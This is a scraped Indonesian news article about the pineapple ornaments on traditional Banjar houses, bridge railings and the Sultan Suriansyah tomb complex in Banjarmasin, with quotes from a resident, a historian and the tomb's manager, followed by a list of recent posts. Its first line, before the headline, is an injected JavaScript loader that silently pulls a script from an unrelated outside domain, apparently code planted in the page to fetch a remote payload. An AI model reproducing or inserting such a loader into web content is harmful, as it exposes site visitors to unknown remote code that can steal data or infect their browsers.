(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Ornamen Nanas, Konsep Bangunan Bersejarah di Kuin Utara Banjarmasin


KANALKALIMANTAN.COM, BANJARMASIN – Bangunan khas adat Banjar memiliki keunikannya tersendiri. Satu di antara keunikannya yang jarang masyarakat ketahui, setiap bagian atas pagar rumah khas adat Banjar biasanya didapati ukiran kayu berbentuk kuncup, yang jika kita lihat dari dekat ternyata berbentuk seperti buah nanas.

Meski bangunan khas adat Banjar sudah jarang ditemukan di daerah perkotaan, lantaran desainnya yang modern, namun di Kelurahan Kuin Utara tepatnya daerah komplek makam Sultan Suriansah Banjarmasin, hingga sekarang hampir seluruh rumah warga masih berhias pagar buah nanas.

Fauziah, sudah puluh tahun hidup bersama ibu hingga neneknya mengatakan, ornamen pagar buah nanas itu memang menjadi ciri khas dari kesultanan Banjar.

“Sudah lama sekali saya dari zaman nenek ibu sudah punya rumah ini, memang untuk pagar nanas ini dulunya setiap rumah diberi, bahkan tidak cuma rumah aja, tapi itu di siring jembatan sana juga pagarnya nanas, dan dari makam Sultan Suriansyah itu mungkin ya lambangnya,” ujar Fauziah penduduk asli Kuin Utara, Kota Banjarmasin ini.

 

 

Ornamen buah nanas di kawasan komplek makam Sultan Surianansyah Banjarmasin. Foto : Wanda

Baca juga  : Sekda Tanbu Melantik 13 Pejabat Administrator dan Pengawas

Tak banyak juga orang menyadari, ornamen nanas ternyata sering ditemukan di setiap pagar jembatan yang menghubungkan sungai-sungai kecil di Banjarmasin. Bahkan, beberapa pagar siring sungai pun kerap beronamen buah nanas.

Ir Adhi Surya Said, pegiat sejarah, yang juga dosen di Universitas Islam Kalimantan Muhammad Arsyad Al Banjari Banjarmasin, saat ditemui di area makam Sultan Suriansyah menjelaskan, buah nanas atau yang dikenal orang Banjar dengan sebutan kanas ini merupakan simbol dari sebuah kerajaan.

Rumah khas adat Banjar di Kelurahan Kuin Utara Banjarmasin dengan ornamen buah nanas. Foto : Wanda

Menurut sejarah orang Banjar, nanas merupakan lambang kerajaan, nanas juga banyak ditanam di daerah Banjar, sehingga nanas digunakan sebagai simbol kerajaan yang mengandung arti kesejahteraan.

Sementara itu, buah nanas yang identik berwarna kuning, juga bermaknakan bahwa daerah itu pernah dijajaki peradaban raja-raja.

Rumah khas adat Banjar di Kelurahan Kuin Utara Banjarmasin dengan ornamen buah nanas. Foto : Wanda

Baca juga  : Kisah Masjid Kanas di Banjarmasin, Konon Didirikan Ulama Sufi Keturunan Datuk Kelampayan  

“Itu adalah bukti, bahwa beberapa kerajaan menggunakan warna kuning sebagai lambang kerajaan mereka, jadi memang gold dan kuning itu lambang kesultanan atau raja, atau bisa juga kedudukan seseorang yang makmur dan kaya,” jelas pria yang juga akrap disapa Kang Surya ini.

Disisi lain, pengelola Makam Sultan Suriansyah, H Alariansyah menjelaskan, bentuk buah nanas yang mengitari pagar di makam tersebut sudah menjadi ciri khas yang paten, sehingga tak boleh dibuang maupun dirubah.

“Karena juga merupakan cagar budaya jadi tidak boleh dirubah, dan memang sudah sedari awal berbentuk nanas, kami sebagai pengelola hanya menjaga itu tidak boleh merubah,” akunya.

Rumah khas adat Banjar di Kelurahan Kuin Utara Banjarmasin dengan ornamen buah nanas. Foto : Wanda

Baca juga  : Akses Jalan di RT 22 Sungai Gampa Banjarmasin Amblas, Warga Ada yang Terjatuh

Keunikan buah nanas sendiri menjadi daya tarik tersendiri bagi pengunjung yang datang. Bahkan, beberapa turis manca negara turut mengagumi keunikan lambang sejarah tersebut.

“Ya memang itu uniknya jadi ciri khas, para pengunjung ada yang dari Belanda hingga Brunei Darussalam kalau mereka ke sini selain untuk berziarah juga mereka mengenal akan perjuangan bahari,” pungkasnya. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : rdy


Desy Arfianty

Recent Posts

Sensasi Soto Apung Banjarmasin Santapan di Atas Lanting Sungai Martapura

KANALKALIMANTAN.COM, BANJARMASIN – Hidangan Soto Banjar disajikan di rumah lanting apung itu ketika sang surya… Read More

5 jam ago

Pascabanjir Bandang Warga Tebing Tinggi Mulai Tempati Rumah

KANALKALIMANTAN.COM, PARINGIN – Sepekan pascabanjir bandang menerjang Kecamatan Tebing Tinggi, Kabupaten Balangan, denyut kehidupan warga… Read More

6 jam ago

Bupati dan Sekda Banjar Jenguk Kondisi Warga Terdampak Banjir di Desa Pemakuan dan Pembantanan

KANALKALIMANTAN.COM, MARTAPURA - Genangan air di sejumlah kecamatan di Kabupaten Banjar masih belum menunjukkan penurunan… Read More

12 jam ago

Gempa Dangkal Terjadi di Balangan dan Kotabaru

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas seismik di daratan Kalimantan kembali terjadi melalui rangkaian gempa tektonik dangkal… Read More

13 jam ago

Diterjang Banjir Bandang Jembatan Penghubung Desa Langkap – Raranum Putus

KANALKALIMANTAN.COM, PARINGIN - Jembatan penghubung antara Desa Langkap dan Desa Raranum, Kecamatan Tebing Tinggi, Kabupaten… Read More

16 jam ago

Banjir Balangan Meluas 13.531 Jiwa Terdampak di 30 Desa

KANALKALIMANTAN.COM, PARINGIN – Pascabanjir bandang di Kabupaten Balangan memasuki hari keempat. Data terbaru menunjukkan jumlah… Read More

16 jam ago

This website uses cookies.